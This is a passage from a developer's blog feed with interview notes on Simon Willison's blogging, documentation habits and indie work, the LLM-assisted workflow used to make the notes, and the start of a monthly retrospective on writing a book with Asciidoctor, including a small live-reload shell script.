&lt;li>Simon points out how much of the world runs on code that&amp;rsquo;s worse than the &amp;ldquo;goop&amp;rdquo; code that LLMs generate:
&lt;blockquote>
&lt;p>We currently live in [a] world where half of the world runs on Excel spreadsheets with no unit tests, and no backup, no version control.. and anyone can muck up a formula, and the valuation of a company goes down by half overnight&amp;hellip;&lt;/p>
&lt;p>That&amp;rsquo;s the world we live in today, right? Excel spreadsheets are kind of goop already, and somehow society functions.&lt;/p>
&lt;p>So, maybe those of us who are like, &amp;ldquo;No, every line of code has to be perfect,&amp;rdquo; maybe we&amp;rsquo;re wrong. Maybe actually goop is the way forward, but that&amp;rsquo;s a little bit terrifying, you know?&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;/ul>
&lt;h2 id="blogging">Blogging&lt;/h2>
&lt;h3 id="write-a-new-blog-post-every-day">Write a new blog post every day&lt;/h3>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=292s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>Simon tries to write a new blog post every day.
&lt;ul>
&lt;li>Inspired by Tom Scott, who &lt;a href="https://www.youtube.com/watch?v=7DKv5H5Frt0">made a video every week for 10 years&lt;/a>.&lt;/li>
&lt;li>Gives Simon incentive to find something interesting that day.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="time-investment">Time investment&lt;/h3>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=524s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>Simon blogs for 10-15 minutes/day.&lt;/li>
&lt;li>He&amp;rsquo;s able to write more quickly since he&amp;rsquo;s been doing it for 22 years.&lt;/li>
&lt;/ul>
&lt;h3 id="blog-to-newsletter-pipeline">Blog to newsletter pipeline&lt;/h3>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=1227s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>Simon has a newsletter that&amp;rsquo;s just a diff of everything new on his blog since his last newsletter:
&lt;blockquote>
&lt;p>It&amp;rsquo;s a really great way of getting things out there to people who live in their email clients.&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;li>Simon wrote an Observable notebook that pulls content from his blog and converts it into Substack-compatible rich text. He then copies from the notebook into Substack, and sends out the newsletter.&lt;/li>
&lt;li>He has 6,000 substack subscribers.&lt;/li>
&lt;li>The process takes two minutes per newsletter.&lt;/li>
&lt;/ul>
&lt;p>&lt;em>[Editor&amp;rsquo;s note: Simon doesn&amp;rsquo;t address this, but I think the way he&amp;rsquo;s syndicating to Substack negatively impacts SEO, as it creates two copies of the same content at different URLs, and Google won&amp;rsquo;t know which is the original.]&lt;/em>&lt;/p>
&lt;p>&lt;em>[Editor&amp;rsquo;s note: I also find it surprising that Simon uses the Substack domain rather than some subdomain under simonwillison.net, as I believe Substack lets you bring your own domain.]&lt;/em>&lt;/p>
&lt;h3 id="blog-infrastructure">Blog infrastructure&lt;/h3>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=1457s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>Simon&amp;rsquo;s main blog is a Heroku instance sitting behind Cloudflare as CDN.&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>The great thing about Cloudflare is if I get a giant spike of traffic, like if I&amp;rsquo;m linked off the Hacker News homepage, my tiny little cheap Heroku instance doesn&amp;rsquo;t even notice because Cloudflare absorbs all of the traffic.&lt;/p>&lt;/blockquote>
&lt;h3 id="bing-chat-incident">Bing chat incident&lt;/h3>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=1511s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>In 2023, Simon published, a blog post called &lt;a href="https://simonwillison.net/2023/Feb/15/bing/">Bing: “I will not harm you unless you harm me first”&lt;/a>.
&lt;ul>
&lt;li>The post aggregated surprising experiences people reported on social media with AI-powered Bing, which was later revealed to be an early preview of GPT-4.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Elon Musk &lt;a href="https://twitter.com/elonmusk/status/1625936009841213440">tweeted the article&lt;/a>.&lt;/li>
&lt;li>It was one of the most popular articles of 2023 &lt;a href="https://news.ycombinator.com/item?id=34804874">on Hacker News&lt;/a>.&lt;/li>
&lt;li>The blog post received 1.4 million views.&lt;/li>
&lt;li>The post led to Simon&amp;rsquo;s &lt;a href="https://simonwillison.net/2023/Feb/19/live-tv/">first TV interview&lt;/a> by a news station in Chicago.&lt;/li>
&lt;/ul>
&lt;h2 id="making-everything-a-github-issue">Making everything a Github issue&lt;/h2>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=684s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>Simon maintains personal to-do lists as Github issues.&lt;/li>
&lt;li>He maintains 250 projects.
&lt;ul>
&lt;li>He documents them by pretending he&amp;rsquo;s going to forget every detail.
&lt;blockquote>
&lt;p>I can drop back into a project I haven&amp;rsquo;t touched in a year, read the documentation as if I didn&amp;rsquo;t know what the project was, and then start working on it.&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>He writes design documents as issues as well.
&lt;blockquote>
&lt;p>I&amp;rsquo;ve got issue threads that are over a hundred comments long, and they&amp;rsquo;re all me. It&amp;rsquo;s just me talking to myself.&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;/ul>
&lt;p>&lt;em>[Editor&amp;rsquo;s note: This is a surprising workflow, as it optimizes for writes over reads. When you want to understand an issue, you&amp;rsquo;re forced to read hundreds of comments instead of reading a single comment that summarizes the current state.]&lt;/em>&lt;/p>
&lt;h3 id="temporal-documentation-vs-current-documentation">&amp;ldquo;Temporal&amp;rdquo; documentation vs. current documentation&lt;/h3>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=919s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>Simon considers software as having two types of documentation.
&lt;ol>
&lt;li>Documentation that says what the software currently does.&lt;/li>
&lt;li>Documentation that describes what the software did at the time the documentation was written but is not necessarily accurate today (&amp;ldquo;temporal documentation&amp;rdquo;)&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>Github issues are good for temporal documentation.
&lt;ul>
&lt;li>Simon can look at the issue and see the date he wrote the issue to understand when the documentation was accurate.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>For documentation that has to match the code, he keeps the documentation as markdown files in the same repo as the code itself and ensures that code updates always update documentation to match.&lt;/li>
&lt;/ul>
&lt;h2 id="life-as-an-indie-developer">Life as an indie developer&lt;/h2>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=6002s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>Simon first got his taste for independent work when he was awarded a one-year paid fellowship at Stanford for data journalism.
&lt;blockquote>
&lt;p>It was amazing, and it completely ruined me because they paid me to spend a year working on whatever I thought was most interesting.&lt;/p>
&lt;p>And once you&amp;rsquo;ve done that, it&amp;rsquo;s very difficult to go back to having somebody else&amp;hellip; define what it is that you were going to do. So basically, that was the problem, is that I experienced freedom for a year, and I&amp;rsquo;m like, &amp;ldquo;I do not want to give this up. I&amp;rsquo;m having so much fun working on these things.&amp;rdquo;&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;/ul>
&lt;h3 id="managing-your-time">Managing your time&lt;/h3>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=6070s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>Simon finds it extremely difficult to decide what to work on, as there&amp;rsquo;s so little external pressure or accountability relative to working for an employer.
&lt;ul>
&lt;li>There are so many interesting areas of AI to explore and nothing stopping him from exploring them foreer.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>He sometimes wishes he had VC investors so that someone would keep him focused on his goals.&lt;/li>
&lt;li>Conference-driven development
&lt;ul>
&lt;li>Simon promises features in time for a conference, which forces him to prioritize implementation by a deadline.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Weeknotes
&lt;ul>
&lt;li>Simon wrote blog posts he called &lt;a href="https://simonwillison.net/tags/weeknotes/">&amp;ldquo;weeknotes&amp;rdquo;&lt;/a> every few weeks to summarize his past few weeks of work.&lt;/li>
&lt;li>&lt;em>[Editor&amp;rsquo;s note: I do &lt;a href="https://weeks.mtlynch.io">something similar&lt;/a>, a practice I &lt;a href="https://mtlynch.io/status-updates-to-nobody/">picked up from Google&lt;/a>.]&lt;/em>&lt;/li>
&lt;li>&lt;em>[Editor&amp;rsquo;s note: Simon coincidentally &lt;a href="https://simonwillison.net/2025/Mar/20/calling-a-wrap-on-my-weeknotes/">stopped doing this&lt;/a> shortly after the interview.]&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="working-towards-financial-independence">Working towards financial independence&lt;/h3>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=6100s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>Simon aspires to have financial independence.
&lt;ul>
&lt;li>Eventbrite acquired Simon&amp;rsquo;s startup while it was still growing, and then he worked there for six years as a director of engineering.&lt;/li>
&lt;li>He has &amp;ldquo;substantial runway&amp;rdquo; but not enough that he doesn&amp;rsquo;t have to worry about income.&lt;/li>
&lt;li>He&amp;rsquo;s pursuing consulting opportunities to provide income until Datasette is generating enough revenue to be his primary source of income.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>&lt;em>[Editor&amp;rsquo;s note: The biggest surprise of the whole interview for me was that Simon isn&amp;rsquo;t already financially independent, as I assumed Simon he was.]&lt;/em>&lt;/p>
&lt;h2 id="datasettes-goals">Datasette&amp;rsquo;s goals&lt;/h2>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=6230s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>Simon&amp;rsquo;s goal for Datasette is for a journalist to use Datasette to inform an article that wins the Pulitzer Prize.&lt;/li>
&lt;li>He&amp;rsquo;d like to hire a team to work with him on the project, as he finds it lonely to work solo.&lt;/li>
&lt;li>He wants to follow the WordPress model of open-sourcing the code and making money by offering it as a managed service.&lt;/li>
&lt;/ul>
&lt;h3 id="challenges-of-using-llms-for-data-journalism">Challenges of using LLMs for data journalism&lt;/h3>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=3621s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>All the major LLMs censor information, which makes data journalism more difficult.&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>If you&amp;rsquo;re a journalist, some of the source material you work with is nasty, right? It&amp;rsquo;s police reports about violent incidents. It&amp;rsquo;s fascist message boards&amp;hellip; Right now, if you&amp;rsquo;ve got an LLM that&amp;rsquo;s helping process these things, and you like ask it to summarize the themes from this fascist notice board, it&amp;rsquo;s going to say &amp;ldquo;no,&amp;rdquo; right?&lt;/p>
&lt;p>A lot of the LLMs will just straight up refuse to process that, which&amp;hellip; greatly limits how useful they can be&amp;hellip;&lt;/p>&lt;/blockquote>
&lt;h2 id="meta-how-i-created-these-notes">Meta: How I created these notes&lt;/h2>
&lt;p>I downloaded the interview with &lt;code>yt-dlp&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>yt-dlp https://www.youtube.com/watch?v=6U_Zk_PZ6Kg
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And then I used Whisper to generate a transcript:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">VIDEO_FILE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;~/LLMs\ are\ like\ your\ weird,\ over-confident\ intern\ ｜\ Simon\ Willison\ \(Datasette\)\ \[6U_Zk_PZ6Kg].webm&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>whisper &lt;span style="color:#40ffff">$VIDEO_FILE&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>My NixOS system&amp;rsquo;s CUDA configuration mysteriously stopped working, so Whisper used my CPU, which was slow and error-prone. I used Google Gemini 2.5 Pro Preview to clean it up:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Split this transcript into sections by topic.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Under each topic, write the timestamp that the section covers in the transcript.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Break groups of sentences into logical paragraphs under each heading.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Fix words that appear to be transcription errors, but don&amp;#39;t editorialize or
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>change language.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>```
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>00:00:00,000 --&amp;gt; 00:00:06,000
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>call it my weird intern. I&amp;#39;ll say to my wife Natalie sometimes, hey so I got my weird intern
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>00:00:06,000 --&amp;gt; 00:00:10,800
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to do this. And that works, right? It&amp;#39;s a good mental model for these things as well because
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[elided...]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>```
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Gemini can only process about 30 minutes of transcript at a time until it runs out of output tokens, so I had to keep repeating it with &lt;code>Start at 00:26:26,240&lt;/code> at the end of my instructions.&lt;/p>
&lt;p>I then aggregated together all the formatted transcripts.&lt;/p>
&lt;p>That creates a well-organized transcript like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>### The Efficiency and Benefits of Consistent Blogging
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(00:08:44,480 --&amp;gt; 00:11:24,800)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Well, that&amp;#39;s the secret of blogging, is that it takes a lot of work at first,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>but I&amp;#39;ve been blogging for 22 years...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then I fed my notes to Gemini 2.5 Pro with this prompt:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Here is a transcript of an interview that&amp;#39;s available on YouTube
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>at https://www.youtube.com/watch?v=6U_Zk_PZ6Kg:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>```
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SRT TRANSCRIPT GOES HERE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>```
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Here are my notes about the interview:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>```
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>MARKDOWN VERSION OF THIS BLOG POST GOES HERE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>```
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Reproduce the headers in my notes, but under each, include a link to the
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>original YouTube video that the transcript came from with a timestamped link
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>that points to that part of the conversation.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I wanted to validate that the direct quotes were all accurate, but I couldn&amp;rsquo;t find a good solution. I initially tried prompting Gemini Pro and Flash to generate an ffmpeg command to edit the video down to just the quoted portions, but it kept doing it incorrectly. I tried a more modest approach of asking it to append the timestamped YouTube link to every quote, but it was always a few minutes off. I eventually just did it manually by searching the SRT file and then seeking to that point in the video. In one instance, Gemini had completely revised Simon&amp;rsquo;s wording, but it mostly got the quotes accurately.&lt;/p>
&lt;h2 id="links">Links&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://softwaremisadventures.com/p/simon-willison-llm-weird-intern">&lt;em>Software Misadventures&lt;/em> episode&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://simonwillison.net/2024/Sep/10/software-misadventures/">Simon Willison&amp;rsquo;s notes about this appearance&lt;/a>&lt;/li>
&lt;/ul></content:encoded></item><item><title>Refactoring English: Month 5</title><link>https://mtlynch.io/retrospectives/2025/05/</link><pubDate>Thu, 08 May 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2025/05/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>Why am I making slower progress than I&amp;rsquo;d like on my book?&lt;/li>
&lt;li>I optimize my Asciidoctor write and preview workflow.&lt;/li>
&lt;li>I&amp;rsquo;m working on a side project to track Hacker News performance in real-time.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="write-a-blog-post-about-lessons-from-kickstarter">Write a blog post about lessons from Kickstarter&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &lt;a href="https://mtlynch.io/my-6k-advance/">My $6k Advance as a Self-Published Technical Author&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I originally set out to write a guide that focused on Kickstarter, but the more I wrote, the less I felt like Kickstarter was the interesting part. I was more excited about crowdfunding as a path for self-published authors, and Kickstarter is just one way of crowdfunding.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>Why am I making slower progress than I&amp;rsquo;d like on my book?&lt;/li>
&lt;li>I optimize my Asciidoctor write and preview workflow.&lt;/li>
&lt;li>I&amp;rsquo;m working on a side project to track Hacker News performance in real-time.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="write-a-blog-post-about-lessons-from-kickstarter">Write a blog post about lessons from Kickstarter&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &lt;a href="https://mtlynch.io/my-6k-advance/">My $6k Advance as a Self-Published Technical Author&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I originally set out to write a guide that focused on Kickstarter, but the more I wrote, the less I felt like Kickstarter was the interesting part. I was more excited about crowdfunding as a path for self-published authors, and Kickstarter is just one way of crowdfunding.&lt;/p>
&lt;h3 id="complete-a-new-book-chapter-or-teach-a-live-session-about-a-topic-from-the-book">Complete a new book chapter or teach a live session about a topic from the book&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Taught a live session and started working on a new chapter.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I invited everyone who pre-ordered the book to attend a live class, and I enjoyed the session. I got to meet people who had been reading my blog for years, but we&amp;rsquo;d never talked or emailed, and the questions helped me shape the material for the book.&lt;/p>
&lt;h3 id="coordinate-rewards-with-kickstarter-backers">Coordinate rewards with Kickstarter backers&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Reached out to all Kickstarter backers who purchased a premium reward.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I felt stressed about not reaching out to people soon enough. I worried that backers would feel like, &amp;ldquo;Hey, why are you writing &lt;a href="https://mtlynch.io/retrospectives/2025/04/">new&lt;/a> &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/">blog&lt;/a> &lt;a href="https://mtlynch.io/my-6k-advance/">posts&lt;/a> about your Kickstarter instead of talking to the people who actually supported you?&amp;rdquo; But I didn&amp;rsquo;t want to send bulk messages because if people pre-ordered $75-150 packages, I felt like that deserved a personalized response.&lt;/p>
&lt;p>I kept putting off the emails, but when I finally did, it only took me about two hours to write to everyone. If the backer had a website or we&amp;rsquo;d talked before, I personalized the message to make it clear I was writing them one by one.&lt;/p>
&lt;h2 id="managing-my-time-as-i-write-a-book">Managing my time as I write a book&lt;/h2>
&lt;p>I&amp;rsquo;m working on my book every week, but my progress feels slow.&lt;/p>
&lt;p>It&amp;rsquo;s difficult to gauge my progress because I know which chapters I&amp;rsquo;ve completed and which ones I haven&amp;rsquo;t, but they vary a lot in difficulty and length.&lt;/p>
&lt;p>Another issue is that I can keep writing and rewriting the same chapter forever. I have to reach a point where I decide it&amp;rsquo;s good enough and move on to other chapters. If there&amp;rsquo;s no pressure to finish any particular chapter by a certain time, I feel like I can just keep rewriting forever.&lt;/p>
&lt;p>I also find that my efficiency drops significantly after about an hour of writing. I just run out of steam and get distracted more easily or overinvest in things that don&amp;rsquo;t matter. I can somewhat mitigate this by writing about a different topic in the morning and afternoon, but I still run out of steam after about an hour in either session.&lt;/p>
&lt;p>Fortunately, I haven&amp;rsquo;t experienced writer&amp;rsquo;s block or a loss of motivation. I&amp;rsquo;m able to write every workday, and I still feel excited about the book.&lt;/p>
&lt;p>With all those things in mind, here&amp;rsquo;s my plan for more focused writing going forward:&lt;/p>
&lt;ul>
&lt;li>Dedicate time to writing in flow state for at least 60 minutes per day.
&lt;ul>
&lt;li>If I need to research more, fix formatting, or add an image, add TODOs, so I don&amp;rsquo;t have to break my flow state.&lt;/li>
&lt;li>If I get bored, resist the urge to check email or social media. Just keep writing until the end of the block, even if I don&amp;rsquo;t like the writing.
&lt;ul>
&lt;li>I initially found &lt;a href="https://www.proginosko.com/leechblock/">LeechBlockNG&lt;/a> helpful for this, but it caused Firefox to hang frequently, so I stopped using it. I assume it&amp;rsquo;s related to the known issue, &lt;a href="https://github.com/proginosko/LeechBlockNG/issues/124">&amp;ldquo;LeechBlock doesn&amp;rsquo;t get along well with Firefox&amp;rsquo;s GC.&amp;rdquo;&lt;/a> I submitted a couple of &lt;a href="https://github.com/proginosko/LeechBlockNG/pull/573">small&lt;/a> &lt;a href="https://github.com/proginosko/LeechBlockNG/pull/578">fixes&lt;/a>, but they didn&amp;rsquo;t seem to make a difference.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Plan my workday the first thing in the morning, so I decide how much time I allocate to which writing tasks.
&lt;ul>
&lt;li>I check my calendar and to-do list, then schedule my day as a series of 30-minute blocks on a piece of paper.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Decide how much writing time each chapter deserves.
&lt;ul>
&lt;li>For example, I should decide ahead of time that I only want to spend 10 hours writing the chapter on emails before I send a draft to readers.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Some of the items on the list are things that I&amp;rsquo;m already doing and want to do more diligently. Some are new things I&amp;rsquo;m adding to meet the challenge of writing a book for the first time.&lt;/p>
&lt;h2 id="asciidoctor-so-far-so-good">Asciidoctor: So far, so good&lt;/h2>
&lt;p>I wrote last month about &lt;a href="https://mtlynch.io/retrospectives/2025/04/#picking-a-markup-language-for-the-book">evaluating different options for writing a book&lt;/a>, and I settled on Asciidoctor. I&amp;rsquo;m enjoying it so far.&lt;/p>
&lt;p>I used Liran Tal&amp;rsquo;s &lt;a href="https://github.com/lirantal/asciidoc-book-starter">asciidoc-book-starter&lt;/a> as a starting point and adapted it to Nix. I now have a Nix flake set up so that if I run &lt;code>nix run&lt;/code>, it renders the book as PDF, epub3, and HTML. I can also render individual formats with commands like &lt;code>nix run .#pdf&lt;/code>.&lt;/p>
&lt;p>I&amp;rsquo;m not sure if I&amp;rsquo;ll support all three formats. I haven&amp;rsquo;t tried any custom formatting yet or even embedding images or tables, so it will come down to how much extra work it is to get the layout and style right in all three formats.&lt;/p>
&lt;p>The biggest limitation of Asciidoctor is that I can&amp;rsquo;t do live reload. I&amp;rsquo;m used to writing in Hugo, so I have VS Code open in one window and the rendered output open in a browser window. Every time I hit save in VS Code, I see it render in the browser in a few hundred milliseconds.&lt;/p>
&lt;p>With Asciidoctor, my write-build-read flow is:&lt;/p>
&lt;ol>
&lt;li>Save the file.&lt;/li>
&lt;li>Switch to the terminal.&lt;/li>
&lt;li>Run &lt;code>nix run .#pdf&lt;/code>.&lt;/li>
&lt;li>Switch to my browser window.&lt;/li>
&lt;li>Reload the PDF.&lt;/li>
&lt;/ol>
&lt;p>Now that I write this out, I realize I should automate this, so I asked an LLM and got this simple script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#!/usr/bin/env bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>&lt;span style="color:#24909d">set&lt;/span> -euo pipefail
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>nix run .#pdf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zathura dist/Refactoring&lt;span style="color:#ed9d13">\ &lt;/span>English.pdf &amp;amp;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">ZATHURA_PID&lt;/span>=&lt;span style="color:#40ffff">$!&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">trap&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;kill $ZATHURA_PID&amp;#39;&lt;/span> EXIT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>find book -type f &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | entr -dr nix run .#pdf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I&amp;rsquo;d never heard of zathura, but it&amp;rsquo;s an &lt;a href="https://pwmt.org/projects/zathura/">open-source PDF reader&lt;/a> that automatically reloads on file changes. Here&amp;rsquo;s what it looks like in practice:&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="live-reload-pdf.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>My DIY hot reloading PDF workflow with Asciidoctor, Zathura, and Nix&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

